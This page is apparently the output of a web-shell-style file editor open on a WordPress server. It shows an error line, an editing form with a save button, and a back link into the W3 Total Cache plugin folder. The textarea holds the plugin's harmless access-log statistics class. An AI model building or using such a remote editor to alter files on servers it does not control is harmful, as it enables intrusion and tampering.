<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: UsageStatistics_Source_AccessLog.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
namespace W3TC;


/**
 * Access log reader - provides statistics data from http server access log
 */
class UsageStatistics_Source_AccessLog {
	// configuration
	private $line_regexp;

	private $max_line = '';
	private $max_time = 0;
	private $min_time;
	private $min_line = '';

	// running values

	// read access log after that timestamp
	private $max_already_counted_timestamp;

	// what was loaded now in this cycle
	private $max_now_counted_timestamp = null;

	// if need to read more access log chunks
	private $more_log_needed = true;

	// where data aggregated
	private $history;
	private $history_current_pos;
	private $history_current_item;
	private $history_current_timestamp_start;
	private $history_current_timestamp_end;


	static public function w3tc_usage_statistics_summary_from_history( $summary, $history ) {
		$dynamic_requests_total = Util_UsageStatistics::sum( $history,
			array( 'access_log', 'dynamic_count' ) );
		$dynamic_timetaken_ms_total = Util_UsageStatistics::sum( $history,
			array( 'access_log', 'dynamic_timetaken_ms' ) );
		$static_requests_total = Util_UsageStatistics::sum( $history,
			array( 'access_log', 'static_count' ) );
		$static_timetaken_ms_total = Util_UsageStatistics::sum( $history,
			array( 'access_log', 'static_timetaken_ms' ) );


		$summary['access_log'] = array(
			'dynamic_requests_total_v' =&gt; $dynamic_requests_total,
			'dynamic_requests_total' =&gt; Util_UsageStatistics::integer(
				$dynamic_requests_total ),
			'dynamic_requests_per_second' =&gt; Util_UsageStatistics::value_per_period_seconds(
				$dynamic_requests_total, $summary ),
			'dynamic_requests_timing' =&gt; Util_UsageStatistics::integer_divideby(
				$dynamic_timetaken_ms_total, $dynamic_requests_total ),
			'static_requests_total' =&gt; Util_UsageStatistics::integer(
				$static_requests_total ),
			'static_requests_per_second' =&gt; Util_UsageStatistics::value_per_period_seconds(
				$static_requests_total, $summary ),
			'static_requests_timing' =&gt; Util_UsageStatistics::integer_divideby(
				$static_timetaken_ms_total, $static_requests_total ),
		);

		return $summary;
	}


	/**
	 * array( 'webserver', 'format', 'filename' )
	 */
	public function __construct( $data ) {
		$format = $data['format'];
		$webserver = $data['webserver'];
		$this-&gt;accesslog_filename = str_replace( '://', '/', $data['filename'] );

		if ( $webserver == 'nginx' ) {
			$line_regexp = $this-&gt;logformat_to_regexp_nginx( $format );
		} else {
			$line_regexp = $this-&gt;logformat_to_regexp_apache( $format );
		}

		$this-&gt;line_regexp = apply_filters( 'w3tc_ustats_access_log_format_regexp',
			$line_regexp );
	}


	public function w3tc_usage_statistics_history_set( $history ) {
		$this-&gt;max_already_counted_timestamp = (int)get_site_option( 'w3tc_stats_history_access_log' );
		if ( isset( $history[0]['timestamp_start'] ) &amp;&amp;
				$history[0]['timestamp_start'] &gt; $this-&gt;max_already_counted_timestamp ) {
			$this-&gt;max_already_counted_timestamp = $history[0]['timestamp_start'] - 1;
		}

		$this-&gt;history = $history;
		$this-&gt;min_time = time();
		$this-&gt;setup_history_item( count( $history ) - 1 );

		$h = @fopen( $this-&gt;accesslog_filename, 'rb' );
		if ( !$h ) {
			error_log( 'Failed to open access log for usage statisics collection' );
			return $history;
		}

		fseek( $h, 0, SEEK_END );
		$pos = ftell( $h );
		$unparsed_head = '';

		while ( $pos &gt;= 0 &amp;&amp; $this-&gt;more_log_needed ) {
			$pos -= 8192;
			if ( $pos &lt;= 0 ) {
				$pos = 0;
			}
			fseek( $h, $pos );

			$s = fread( $h, 8192 );

			$unparsed_head = $this-&gt;parse_string( $s . $unparsed_head, $pos &gt; 0 );
			if ( $pos &lt;= 0 ) {
				$this-&gt;more_log_needed = false;
			}
		}

		if ( defined( 'W3TC_DEBUG' ) &amp;&amp; W3TC_DEBUG ) {
			Util_Debug::log( 'time',
				&quot;period &quot; .
				date( DATE_ATOM, $this-&gt;max_already_counted_timestamp ) . ' - ' .
				date( DATE_ATOM, $this-&gt;max_now_counted_timestamp ) . &quot;\n&quot; .
				&quot;min line: &quot; . $this-&gt;min_line . &quot;\n&quot; .
				&quot;max line: &quot; . $this-&gt;max_line );
		}

		if ( !is_null( $this-&gt;max_now_counted_timestamp ) ) {
			update_site_option( 'w3tc_stats_history_access_log',
				$this-&gt;max_now_counted_timestamp );
		}

		return $this-&gt;history;
	}


	private function setup_history_item( $pos ) {
		$this-&gt;history_current_pos = $pos;

		if ( !isset( $this-&gt;history[$pos]['access_log'] ) ) {
			$this-&gt;history[$pos]['access_log'] = array(
				'dynamic_count' =&gt; 0,
				'dynamic_timetaken_ms' =&gt; 0,
				'static_count' =&gt; 0,
				'static_timetaken_ms' =&gt; 0,
			);
		}

		$this-&gt;history_current_item = &amp;$this-&gt;history[$pos]['access_log'];
		$this-&gt;history_current_timestamp_start = $this-&gt;history[$pos]['timestamp_start'];
		$this-&gt;history_current_timestamp_end = $this-&gt;history[$pos]['timestamp_end'];
	}


	private function parse_string( $s, $skip_first_line ) {
		$s_length = strlen( $s );
		$unparsed_head = '';
		$lines = array();

		$n = 0;
		if ( $skip_first_line ) {
			for ( ; $n &lt; $s_length; $n++ ) {
				$c = substr( $s, $n, 1 );
				if ( $c == &quot;\r&quot; || $c == &quot;\n&quot; ) {
					$unparsed_head = substr( $s, 0, $n + 1 );
					break;
				}
			}
		}

		$line_start = $n;
		$line_elements = array();
		$line_element_start = $n;

		for ( ; $n &lt; $s_length; $n++ ) {
			$c = substr( $s, $n, 1 );
			if ( $c == &quot;\r&quot; || $c == &quot;\n&quot; ) {
				if ( $n &gt; $line_start ) {
					$lines[] = substr( $s, $line_start, $n - $line_start );
				}

				$line_start = $n + 1;
			}
		}

		// last line comes first, boundary checks logic based on that
		for ( $n = count( $lines ) - 1; $n &gt;= 0; $n-- ) {
			$this-&gt;push_line( $lines[$n] );
		}

		return $unparsed_head;
	}


	private function push_line( $line ) {
		$e = array();
		preg_match( $this-&gt;line_regexp, $line, $e );

		$e = apply_filters( 'w3tc_ustats_access_log_line_elements', $e, $line );
		if ( !isset( $e['request_line'] ) || !isset( $e['date'] ) ) {
			if ( defined( 'W3TC_DEBUG' ) &amp;&amp; W3TC_DEBUG ) {
				Util_Debug::log( 'time',
					&quot;line $line cant be parsed using regexp $this-&gt;line_regexp, request_line or date elements missing&quot;
				);
			}
			return;
		}

		$date_string = $e['date'];
		$time = strtotime($date_string);

		// dont read more if we touched entries before timeperiod of collection
		if ( $time &lt;= $this-&gt;max_already_counted_timestamp ) {
			$this-&gt;more_log_needed = false;
			return;
		}
		if ( $time &gt; $this-&gt;history_current_timestamp_end ) {
			return;
		}
		while ( $time &lt; $this-&gt;history_current_timestamp_start ) {
			if ( $this-&gt;history_current_pos &lt;= 0 ) {
				$this-&gt;more_log_needed = false;
				return;
			}
			$this-&gt;setup_history_item( $this-&gt;history_current_pos - 1 );
		}
		if ( is_null( $this-&gt;max_now_counted_timestamp ) ) {
			$this-&gt;max_now_counted_timestamp = $time;
		}

		if ( defined( 'W3TC_DEBUG' ) &amp;&amp; W3TC_DEBUG ) {
			if ($time &lt; $this-&gt;min_time) {
				$this-&gt;min_line = $line;
				$this-&gt;min_time = $time;
			}
			if ($time &gt; $this-&gt;max_time) {
				$this-&gt;max_line = $line;
				$this-&gt;max_time = $time;
			}
		}

		$http_request_line = $e['request_line'];
		$http_request_line_items = explode( ' ', $http_request_line );
		$uri = $http_request_line_items[1];

		$time_ms = 0;
		if ( isset( $e['time_taken_microsecs'] ) ) {
			$time_ms = (int)($e['time_taken_microsecs'] / 1000);
		} elseif ( isset( $e['time_taken_ms'] ) ) {
			$time_ms = (int)$e['time_taken_ms'];
		}

		$m = null;
		preg_match('~\\.([a-zA-Z0-9]+)(\?.+)?$~', $uri, $m );
		if ( $m &amp;&amp; $m[1] != 'php') {
			$this-&gt;history_current_item['static_count']++;
			$this-&gt;history_current_item['static_timetaken_ms'] += $time_ms;
		} else {
			$this-&gt;history_current_item['dynamic_count']++;
			$this-&gt;history_current_item['dynamic_timetaken_ms'] += $time_ms;
		}
	}


	// default: %h %l %u %t \&quot;%r\&quot; %&gt;s %b
	// common : %h %l %u %t \&quot;%r\&quot; %&gt;s %O \&quot;%{Referer}i\&quot; \&quot;%{User-Agent}i\&quot;
	public function logformat_to_regexp_apache( $format ) {
		// remove modifiers like %&gt;s, %!400,501{User-agent}i
		$format = preg_replace('~%[&lt;&gt;!0-9]([a-zA-Z{])~', '%$1', $format);

		// remove modifiers %{User-agent}^ti, %{User-agent}^to
		$format = preg_replace('~%({[^}]+})(^ti|^to)~', '%$1z', $format);

		// take all quoted vars
		$format = preg_replace_callback('~\\\&quot;(%[a-zA-Z%]|%{[^}]+}[a-zA-Z])\\\&quot;~',
			array( $this, 'logformat_to_regexp_apache_element_quoted' ),
			$format);

		// take all remaining vars
		$format = preg_replace_callback('~(%[a-zA-Z%]|%{[^}]+}[a-zA-Z])~',
			array( $this, 'logformat_to_regexp_apache_element_naked' ),
			$format);

		return '~' . $format . '~';
	}


	public function logformat_to_regexp_apache_element_quoted( $match ) {
		$v = $match[1];

		if ( $v == '%r' ) {
			return '\&quot;(?&lt;request_line&gt;[^&quot;]+)\&quot;';
		}

		// default behavior, expected value doesnt contain spaces
		return '\&quot;([^&quot;]+)\&quot;';
	}


	public function logformat_to_regexp_apache_element_naked( $match ) {
		$v = $match[1];

		if ( $v == '%t' ) {
			return '\[(?&lt;date&gt;[^\]]+)\]';
		} elseif ( $v == '%D' ) {
			return '(?&lt;time_taken_microsecs&gt;[0-9]+)';
		}

		// default behavior, expected value doesnt contain spaces
		return '([^ ]+)';
	}


	// default: $remote_addr - $remote_user [$time_local] &quot;$request&quot; $status $body_bytes_sent &quot;$http_referer&quot; &quot;$http_user_agent&quot;
	// w3tc: $remote_addr - $remote_user [$time_local] &quot;$request&quot; $status $body_bytes_sent &quot;$http_referer&quot; &quot;$http_user_agent&quot; $request_time
	public function logformat_to_regexp_nginx( $format ) {
		// escape quotes
		$format = preg_replace_callback('~([\&quot;\[\]])~',
			array( $this, 'logformat_to_regexp_nginx_quote' ),
			$format);

		// take all quoted vars
		$format = preg_replace_callback('~\\\&quot;(\$[a-zA-Z0-9_]+)\\\&quot;~',
			array( $this, 'logformat_to_regexp_nginx_element_quoted' ),
			$format);

		// take all remaining vars
		$format = preg_replace_callback('~(\$[a-zA-Z0-9_]+)~',
			array( $this, 'logformat_to_regexp_nginx_element_naked' ),
			$format);

		return '~' . $format . '~';
	}


	public function logformat_to_regexp_nginx_quote( $match ) {
		return '\\' . $match[1];
	}


	public function logformat_to_regexp_nginx_element_quoted( $match ) {
		$v = $match[1];

		if ( $v == '$request' ) {
			return '\&quot;(?&lt;request_line&gt;[^&quot;]+)\&quot;';
		}

		// default behavior, expected value doesnt contain spaces
		return '\&quot;([^&quot;]+)\&quot;';
	}


	public function logformat_to_regexp_nginx_element_naked( $match ) {
		$v = $match[1];

		if ( $v == '$time_local' ) {
			return '(?&lt;date&gt;[^\]]+)';
		} elseif ( $v == '$request_time' ) {
			return '(?&lt;time_taken_ms&gt;[0-9.]+)';
		}

		// default behavior, expected value doesnt contain spaces
		return '([^ ]+)';
	}
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250807152928%2Fplugins%2Fw3-total-cache'>🔙 Back</a>